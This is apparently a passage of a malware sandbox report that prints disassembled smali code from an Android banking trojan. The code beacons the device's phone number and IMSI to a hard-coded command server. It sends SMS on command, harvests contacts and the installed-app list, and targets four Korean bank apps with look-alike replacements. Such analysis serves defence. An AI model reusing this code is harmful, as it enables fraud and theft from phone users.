| 43 | invoke-virtual {v2}, Ljava/lang/Exception;->printStackTrace()V | |
| 44 | try_end_3c: | |
| 45 | invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V | |
| 46 | try_end_3f: goto/16 :goto_2e | |
| 47 | catch_40: move-exception v2 | |
| 49 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
| 50 | goto/16 :goto_2e | |
| 51 | catchall_45: move-exception v6 | |
| 52 | goto_46: | |
| 53 | invoke-virtual {v0}, Ljava/io/BufferedReader;->close()V | |
| 54 | try_end_49: throw v6 | |
| 55 | catch_4a: move-exception v2 | |
| 57 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
| 58 | goto/16 :goto_49 | |
| 59 | catch_4f: move-exception v2 | |
| 61 | invoke-virtual {v2}, Ljava/io/IOException;->printStackTrace()V | |
| 62 | move-object v0, v1 | |
| 63 | goto/16 :goto_2e | |
| 64 | catchall_55: move-exception v6 | |
| 65 | move-object v0, v1 | |
| 66 | goto/16 :goto_46 | |
| 67 | catch_58: move-exception v2 | |
| 68 | goto/16 :goto_39 |
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "urlPsth" | |
| 1 | .parameter "outputFile" | |
| 2 | .prologue | |
| 3 | const/4 v6, 0x0 | |
| 4 | try_start_1: new-instance v7, Ljava/net/URL; | |
| 6 | invoke-direct {v7, p0}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
| 8 | invoke-virtual {v7}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
| 9 | move-result-object v1 | |
| 10 | check-cast v1, Ljava/net/HttpURLConnection; | |
| 11 | const/4 v8, 0x1 | |
| 13 | invoke-virtual {v1, v8}, Ljava/net/HttpURLConnection;->setDoInput(Z)V |
|
| 15 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->connect()V | |
| 17 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getResponseCode()I | |
| 18 | move-result v8 | |
| 19 | const/16 v9, 0xc8 | |
| 20 | if-ne v8, v9, :cond_41 | |
| 22 | invoke-virtual {v1}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
| 23 | move-result-object v5 | |
| 24 | new-instance v3, Ljava/io/FileOutputStream; | |
| 26 | invoke-direct {v3, p1}, Ljava/io/FileOutputStream;-><init>(Ljava/io/File;)V | |
| 27 | const/16 v8, 0x400 | |
| 28 | new-array v0, v8, [B | |
| 29 | const/4 v4, 0x0 | |
| 30 | goto_29: | |
| 31 | invoke-virtual {v5, v0}, Ljava/io/InputStream;->read([B)I | |
| 32 | move-result v4 | |
| 33 | if-gtz v4, :cond_39 | |
| 35 | invoke-virtual {v3}, Ljava/io/FileOutputStream;->flush()V | |
| 37 | invoke-virtual {v3}, Ljava/io/FileOutputStream;->close()V | |
| 39 | invoke-virtual {v5}, Ljava/io/InputStream;->close()V | |
| 40 | goto_38: return v6 | |
| 41 | cond_39: const/4 v8, 0x0 | |
| 43 | invoke-virtual {v3, v0, v8, v4}, Ljava/io/FileOutputStream;->write([BII)V |
|
| 44 | try_end_3d: goto/16 :goto_29 | |
| 45 | catch_3e: move-exception v2 | |
| 46 | const/4 v6, 0x1 | |
| 47 | goto/16 :goto_38 | |
| 48 | cond_41: const/4 v6, 0x1 | |
| 49 | goto/16 :goto_38 | |
| 50 | catch_43: move-exception v2 | |
| 51 | const/4 v6, 0x1 | |
| 52 | goto/16 :goto_38 |
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "m" | |
| 1 | .prologue | |
| 2 | const/4 v9, 0x0 | |
| 3 | iput-object p1, p0, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
| 5 | invoke-static {}, Landroid/telephony/SmsManager;->getDefault()Landroid/telephony/SmsManager; | |
| 6 | move-result-object v0 | |
| 8 | iget-object v1, p0, Lcom/example/adt/SMS;->content:Ljava/lang/String; | |
| 10 | invoke-virtual {v1}, Ljava/lang/String;->length()I | |
| 11 | move-result v1 | |
| 12 | const/16 v2, 0x46 | |
| 13 | if-ge v1, v2, :cond_41 | |
| 14 | new-instance v7, Landroid/content/Intent; | |
| 16 | sget-object v1, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String; | |
| 18 | invoke-direct {v7, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V | |
| 19 | new-instance v6, Landroid/content/Intent; | |
| 21 | sget-object v1, Lcom/example/adt/SMS;->SMS_DELIVERED_ACTION:Ljava/lang/String; | |
| 23 | invoke-direct {v6, v1}, Landroid/content/Intent;-><init>(Ljava/lang/String;)V | |
| 25 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 27 | invoke-static {v1, v9, v7, v9}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
| 28 | move-result-object v4 | |
| 30 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 32 | iget-object v2, p0, Lcom/example/adt/SMS;->sendMessage:Landroid/content/BroadcastReceiver; | |
| 33 | new-instance v3, Landroid/content/IntentFilter; | |
| 35 | sget-object v8, Lcom/example/adt/SMS;->SMS_SEND_ACTIOIN:Ljava/lang/String; | |
| 37 | invoke-direct {v3, v8}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V | |
| 39 | invoke-virtual {v1, v2, v3}, Lcom/example/adt/CoreService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; | |
| 41 | sget-object v1, Lcom/example/adt/CoreService;->mContext:Lcom/example/adt/CoreService; | |
| 43 | invoke-static {v1, v9, v6, v9}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent; |
|
| 44 | move-result-object v5 | |
| 46 | iget-object v1, p0, Lcom/example/adt/SMS;->mobile:Ljava/lang/String; | |
| 47 | const/4 v2, 0x0 | |
| 49 | iget-object v3, p0, Lcom/example/adt/SMS;->content:Ljava/lang/String; | |
| 51 | invoke-virtual/range {v0 .. v5}, Landroid/telephony/SmsManager;->sendTextMessage(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Landroid/app/PendingIntent;Landroid/app/PendingIntent;)V |
|
| 52 | cond_41: return-void |
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "urlStr" | |
| 1 | .prologue | |
| 2 | const/4 v3, 0x0 | |
| 3 | const/4 v2, 0x0 | |
| 4 | try_start_2: new-instance v4, Ljava/net/URL; | |
| 6 | invoke-direct {v4, p1}, Ljava/net/URL;-><init>(Ljava/lang/String;)V | |
| 7 | iput-object v4, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
| 9 | iget-object v4, p0, Lcom/example/adt/HttpDownloader;->url:Ljava/net/URL; | |
| 11 | invoke-virtual {v4}, Ljava/net/URL;->openConnection()Ljava/net/URLConnection; | |
| 12 | move-result-object v4 | |
| 13 | move-object v0, v4 | |
| 14 | check-cast v0, Ljava/net/HttpURLConnection; | |
| 15 | move-object v3, v0 | |
| 17 | invoke-virtual {v3}, Ljava/net/HttpURLConnection;->getInputStream()Ljava/io/InputStream; | |
| 18 | try_end_16: move-result-object v2 | |
| 19 | goto_17: return-object v2 | |
| 20 | catch_18: move-exception v1 | |
| 22 | invoke-virtual {v1}, Ljava/net/MalformedURLException;->printStackTrace()V | |
| 23 | goto/16 :goto_17 | |
| 24 | catch_1d: move-exception v1 | |
| 26 | invoke-virtual {v1}, Ljava/io/IOException;->printStackTrace()V | |
| 27 | goto/16 :goto_17 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | new-instance v10, Ljava/lang/StringBuilder; | |
| 3 | invoke-static {}, Ljava/util/Calendar;->getInstance()Ljava/util/Calendar; | |
| 4 | move-result-object v11 | |
| 6 | invoke-virtual {v11}, Ljava/util/Calendar;->getTimeInMillis()J | |
| 7 | move-result-wide v11 | |
| 9 | invoke-static {v11, v12}, Ljava/lang/String;->valueOf(J)Ljava/lang/String; | |
| 10 | move-result-object v11 | |
| 12 | invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 14 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 15 | move-result-object v9 | |
| 17 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 18 | new-instance v11, Ljava/lang/StringBuilder; | |
| 20 | iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 22 | const-string v13, "serverip" | |
| 24 | sget-object v14, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 26 | invoke-static {v12, v13, v14}, Lcom/example/adt/Config;->get(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String; | |
| 27 | move-result-object v12 | |
| 29 | invoke-static {v12}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 30 | move-result-object v12 | |
| 32 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 34 | sget-object v12, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 36 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 37 | move-result-object v11 | |
| 39 | const-string v12, "Commend&number=" | |
| 41 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 42 | move-result-object v11 | |
| 44 | iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 46 | iget-object v12, v12, Lcom/example/adt/CoreService;->number:Ljava/lang/String; | |
| 48 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 49 | move-result-object v11 | |
| 51 | const-string v12, "&imsi=" | |
| 53 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 54 | move-result-object v11 | |
| 56 | iget-object v12, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 58 | iget-object v12, v12, Lcom/example/adt/CoreService;->imsi:Ljava/lang/String; | |
| 60 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 61 | move-result-object v11 | |
| 63 | const-string v12, "&t=" | |
| 65 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 66 | move-result-object v11 | |
| 68 | invoke-virtual {v11, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 69 | move-result-object v11 | |
| 71 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 72 | move-result-object v11 | |
| 73 | iput-object v11, v10, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
| 75 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 77 | iget-object v10, v10, Lcom/example/adt/CoreService;->conn:Lcom/example/adt/Connect; | |
| 79 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 81 | iget-object v11, v11, Lcom/example/adt/CoreService;->httpUrl:Ljava/lang/String; | |
| 83 | invoke-virtual {v10, v11}, Lcom/example/adt/Connect;->getHttpConnection(Ljava/lang/String;)Ljava/lang/String; | |
| 84 | move-result-object v5 | |
| 86 | invoke-virtual {v5}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 87 | move-result-object v10 | |
| 89 | const-string v11, "error" | |
| 91 | invoke-virtual {v10, v11}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 92 | move-result v10 | |
| 93 | if-nez v10, :cond_195 | |
| 94 | try_start_74: new-instance v8, Lorg/json/JSONObject; | |
| 96 | invoke-direct {v8, v5}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
| 97 | new-instance v0, Lorg/json/JSONObject; | |
| 99 | invoke-direct {v0, v5}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V | |
| 101 | const-string v10, "commend" | |
| 103 | invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 104 | move-result-object v1 | |
| 106 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 107 | new-instance v11, Ljava/lang/StringBuilder; | |
| 109 | const-string v12, "\u73b0\u5728\u6b63\u5728\u6267\u884c\u7684\u547d\u4ee4 => " | |
| 111 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 113 | invoke-virtual {v11, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 114 | move-result-object v11 | |
| 116 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 117 | move-result-object v11 | |
| 119 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 121 | const-string v10, "sendsms" | |
| 123 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 124 | move-result v10 | |
| 125 | if-eqz v10, :cond_ba | |
| 126 | new-instance v7, Lcom/example/adt/SMS; | |
| 128 | const-string v10, "content" | |
| 130 | invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 131 | move-result-object v10 | |
| 133 | const-string v11, "sid" | |
| 135 | invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 136 | move-result-object v11 | |
| 138 | invoke-direct {v7, v10, v11}, Lcom/example/adt/SMS;-><init>(Ljava/lang/String;Ljava/lang/String;)V | |
| 140 | const-string v10, "sendnumber" | |
| 142 | invoke-virtual {v8, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 143 | move-result-object v10 | |
| 145 | invoke-virtual {v7, v10}, Lcom/example/adt/SMS;->send(Ljava/lang/String;)V | |
| 146 | cond_ba: | |
| 147 | const-string v10, "issms" | |
| 149 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 150 | move-result v10 | |
| 151 | if-eqz v10, :cond_d3 | |
| 153 | const-string v10, "val" | |
| 155 | invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 156 | move-result-object v10 | |
| 158 | invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | |
| 159 | move-result v4 | |
| 161 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 163 | const-string v11, "issms" | |
| 165 | invoke-static {v10, v11, v4}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
| 166 | cond_d3: | |
| 167 | const-string v10, "iscall" | |
| 169 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 170 | move-result v10 | |
| 171 | if-eqz v10, :cond_f5 | |
| 173 | const-string v10, "val" | |
| 175 | invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 176 | move-result-object v10 | |
| 178 | invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | |
| 179 | move-result v3 | |
| 181 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 183 | const-string v11, "iscall" | |
| 185 | invoke-static {v10, v11, v3}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;I)V | |
| 187 | const-string v10, "val" | |
| 189 | invoke-virtual {v0, v10}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 190 | move-result-object v10 | |
| 192 | invoke-static {v10}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I | |
| 193 | cond_f5: | |
| 194 | const-string v10, "contact" | |
| 196 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 197 | move-result v10 | |
| 198 | if-eqz v10, :cond_11d | |
| 200 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 201 | new-instance v11, Ljava/lang/StringBuilder; | |
| 203 | const-string v12, "\u6b63\u5728\u5904\u7406\u83b7\u53d6\u901a\u4fe1\u5f55.... => " | |
| 205 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 207 | sget-object v12, Lcom/example/adt/Config;->URL:Ljava/lang/String; | |
| 209 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 210 | move-result-object v11 | |
| 212 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 213 | move-result-object v11 | |
| 215 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 216 | new-instance v10, Lcom/example/adt/Contact; | |
| 218 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 220 | invoke-direct {v10, v11}, Lcom/example/adt/Contact;-><init>(Lcom/example/adt/CoreService;)V | |
| 222 | invoke-virtual {v10}, Lcom/example/adt/Contact;->getPhoneContacts()V | |
| 223 | cond_11d: | |
| 224 | const-string v10, "apps" | |
| 226 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 227 | move-result v10 | |
| 228 | if-eqz v10, :cond_136 | |
| 230 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 232 | const-string v11, "\u6b63\u5728\u5904\u7406apps..." | |
| 234 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 235 | new-instance v10, Lcom/example/adt/App; | |
| 237 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 239 | invoke-direct {v10, v11}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V | |
| 241 | invoke-virtual {v10}, Lcom/example/adt/App;->sendApps()V | |
| 242 | cond_136: | |
| 243 | const-string v10, "changeapp" | |
| 245 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 246 | move-result v10 | |
| 247 | if-eqz v10, :cond_159 | |
| 249 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 251 | const-string v11, "\u6b63\u5728\u5904\u7406\u63d0\u793a\u66f4\u65b0app\u547d\u4ee4..." | |
| 253 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V |
|
| 254 | try_start_145: new-instance v10, Lcom/example/adt/App; | |
| 256 | iget-object v11, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 258 | invoke-direct {v10, v11}, Lcom/example/adt/App;-><init>(Landroid/content/Context;)V | |
| 260 | const-string v11, "info" | |
| 262 | invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 263 | move-result-object v11 | |
| 265 | invoke-virtual {v11}, Ljava/lang/String;->trim()Ljava/lang/String; | |
| 266 | move-result-object v11 | |
| 268 | invoke-virtual {v10, v11}, Lcom/example/adt/App;->alertBroadCast(Ljava/lang/String;)V | |
| 269 | try_start_159: | |
| 270 | const-string v10, "move" | |
| 272 | invoke-virtual {v1, v10}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 273 | move-result v10 | |
| 274 | if-eqz v10, :cond_195 | |
| 275 | new-instance v10, Ljava/lang/StringBuilder; | |
| 277 | const-string v11, "http://" | |
| 279 | invoke-direct {v10, v11}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 281 | const-string v11, "info" | |
| 283 | invoke-virtual {v8, v11}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String; |
|
| 284 | move-result-object v11 | |
| 286 | invoke-virtual {v10, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 287 | move-result-object v10 | |
| 289 | invoke-virtual {v10}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 290 | move-result-object v6 | |
| 292 | iget-object v10, p0, Lcom/example/adt/CoreService$MyOrderRunnable;->this$0:Lcom/example/adt/CoreService; | |
| 294 | const-string v11, "serverip" | |
| 296 | invoke-static {v10, v11, v6}, Lcom/example/adt/Config;->set(Landroid/content/Context;Ljava/lang/String;Ljava/lang/String;)V | |
| 297 | sput-object v6, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 299 | sget-object v10, Ljava/lang/System;->out:Ljava/io/PrintStream; | |
| 300 | new-instance v11, Ljava/lang/StringBuilder; | |
| 302 | const-string v12, "\u6211\u7684\u5230\u4e86\u65b0\u7684\u670d\u52a1\u5668IP => " | |
| 304 | invoke-direct {v11, v12}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V |
|
| 306 | sget-object v12, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 308 | invoke-virtual {v11, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 309 | move-result-object v11 | |
| 311 | invoke-virtual {v11}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 312 | move-result-object v11 | |
| 314 | invoke-virtual {v10, v11}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V | |
| 315 | goto_195: return-void | |
| 316 | catch_196: move-exception v2 | |
| 318 | invoke-virtual {v2}, Lorg/json/JSONException;->printStackTrace()V | |
| 319 | goto/16 :goto_195 | |
| 320 | catch_19b: move-exception v10 | |
| 321 | goto/16 :goto_159 |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .prologue | |
| 1 | const/4 v6, 0x3 | |
| 2 | const/4 v5, 0x2 | |
| 3 | const/4 v4, 0x1 | |
| 4 | const/4 v3, 0x4 | |
| 5 | const/4 v2, 0x0 | |
| 7 | const-string v0, "http://www.slmoney.co.kr" | |
| 8 | sput-object v0, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 10 | const-string v0, "/index.php?m=Api&a=" | |
| 11 | sput-object v0, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 12 | new-instance v0, Ljava/lang/StringBuilder; | |
| 14 | sget-object v1, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 16 | invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 17 | move-result-object v1 | |
| 19 | invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 21 | const-string v1, "/Apk/" | |
| 23 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
| 24 | move-result-object v0 | |
| 26 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 27 | move-result-object v0 | |
| 28 | sput-object v0, Lcom/example/adt/Config;->APK_URL:Ljava/lang/String; | |
| 29 | new-instance v0, Ljava/lang/StringBuilder; | |
| 31 | sget-object v1, Lcom/example/adt/Config;->SERVER_HOST:Ljava/lang/String; | |
| 33 | invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; | |
| 34 | move-result-object v1 | |
| 36 | invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V | |
| 38 | sget-object v1, Lcom/example/adt/Config;->SERVER_ADDRESS:Ljava/lang/String; | |
| 40 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
| 41 | move-result-object v0 | |
| 43 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
| 44 | move-result-object v0 | |
| 45 | sput-object v0, Lcom/example/adt/Config;->URL:Ljava/lang/String; | |
| 47 | const-string v0, "" | |
| 48 | sput-object v0, Lcom/example/adt/Config;->number:Ljava/lang/String; | |
| 50 | const-string v0, "" | |
| 51 | sput-object v0, Lcom/example/adt/Config;->delPackage:Ljava/lang/String; | |
| 52 | const/4 v0, 0x0 | |
| 53 | sput-object v0, Lcom/example/adt/Config;->installApk:Ljava/io/File; | |
| 55 | const-string v0, "" | |
| 56 | sput-object v0, Lcom/example/adt/Config;->downApk:Ljava/lang/String; | |
| 57 | new-array v0, v3, [Ljava/lang/String; | |
| 59 | const-string v1, "nh.smart" | |
| 60 | aput-object v1, v0, v2 | |
| 62 | const-string v1, "com.shinhan.sbanking" | |
| 63 | aput-object v1, v0, v4 | |
| 65 | const-string v1, "com.hanabank.ebk.channel.android.hananbank" | |
| 66 | aput-object v1, v0, v5 | |
| 68 | const-string v1, "com.webcash.wooribank" | |
| 69 | aput-object v1, v0, v6 | |
| 70 | sput-object v0, Lcom/example/adt/Config;->bank:[Ljava/lang/String; | |
| 71 | new-array v0, v3, [Ljava/lang/String; | |
| 73 | const-string v1, "com.korea.kr_nhbank" | |
| 74 | aput-object v1, v0, v2 | |
| 76 | const-string v1, "com.example.kr_shbank" | |
| 77 | aput-object v1, v0, v4 | |
| 79 | const-string v1, "com.example.kr_hnbank" | |
| 80 | aput-object v1, v0, v5 | |
| 82 | const-string v1, "com.example.kr_wrbank" | |
| 83 | aput-object v1, v0, v6 | |
| 84 | sput-object v0, Lcom/example/adt/Config;->upbank:[Ljava/lang/String; | |
| 85 | new-array v0, v3, [Ljava/lang/String; | |
| 87 | const-string v1, "\ub18d" | |
| 88 | aput-object v1, v0, v2 | |
| 90 | const-string v1, "\uc2e0" | |
| 91 | aput-object v1, v0, v4 | |
| 93 | const-string v1, "\ud558" | |
| 94 | aput-object v1, v0, v5 | |
| 96 | const-string v1, "\uc6b0" | |
| 97 | aput-object v1, v0, v6 | |
| 98 | sput-object v0, Lcom/example/adt/Config;->bankName:[Ljava/lang/String; | |
| 99 | new-array v0, v3, [Ljava/lang/String; | |
| 101 | const-string v1, "KR_NHBank.apk" | |
| 102 | aput-object v1, v0, v2 | |
| 104 | const-string v1, "KR_SHBank.apk" | |
| 105 | aput-object v1, v0, v4 | |
| 107 | const-string v1, "KR_HNBank.apk" | |
| 108 | aput-object v1, v0, v5 | |
| 110 | const-string v1, "KR_WRBank.apk" | |
| 111 | aput-object v1, v0, v6 | |
| 112 | sput-object v0, Lcom/example/adt/Config;->apkNames:[Ljava/lang/String; | |
| 113 | new-array v0, v3, [Ljava/lang/String; | |
| 115 | const-string v1, "NH\ubc45\ud0b9" | |
| 116 | aput-object v1, v0, v2 | |
| 118 | const-string v1, "\uc2e0\ud55cS\ubc45\ud06c" | |
| 119 | aput-object v1, v0, v4 | |
| 121 | const-string v1, "\ud558\ub098N Bank" | |
| 122 | aput-object v1, v0, v5 | |
| 124 | const-string v1, "\uc6d0\ud130\uce58\uac1c\uc778" | |
| 125 | aput-object v1, v0, v6 | |
| 126 | sput-object v0, Lcom/example/adt/Config;->bName:[Ljava/lang/String; | |
| 127 | new-array v0, v3, [I | |
| 128 | fill-array-data v0, :array_c0 | |
| 129 | sput-object v0, Lcom/example/adt/Config;->icon:[I | |
| 131 | const-string v0, "" | |
| 132 | sput-object v0, Lcom/example/adt/Config;->cBankStr:Ljava/lang/String; | |
| 134 | const-string v0, "" | |
| 135 | sput-object v0, Lcom/example/adt/Config;->sBankStr:Ljava/lang/String; | |
| 136 | sput v2, Lcom/example/adt/Config;->isAlert:I | |
| 137 | return-void |
| Strings |
|
| Position | Instruction | Meta Information |
|---|---|---|
| 0 | .parameter "context" | |
| 1 | .parameter "intent" | |
| 2 | .prologue | |
| 3 | const/4 v11, 0x0 | |
| 5 | invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String; | |
| 6 | move-result-object v0 | |
| 8 | const-string v9, "app.gx3.alert" | |
| 10 | invoke-virtual {v0, v9}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
| 11 | move-result v9 | |
| 12 | if-eqz v9, :cond_ef | |
| 14 | const-string v9, "alert" | |
| 16 | invoke-virtual {p2, v9, v11}, Landroid/content/Intent;->getBooleanExtra(Ljava/lang/String;Z)Z |
|
| 17 | move-result v1 | |
| 19 | const-string v9, "info" | |
| 21 | invoke-virtual {p2, v9}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String; |
|
| 22 | move-result-object v9 | |
| 24 | invoke-virtual {v9}, Ljava/lang/String;->toString()Ljava/lang/String; | |
| 25 | move-result-object v9 | |
| 27 | invoke-static {v9}, Ljava/net/URLDecoder;->decode(Ljava/lang/String;)Ljava/lang/String; | |
| 28 | move-result-object v8 | |
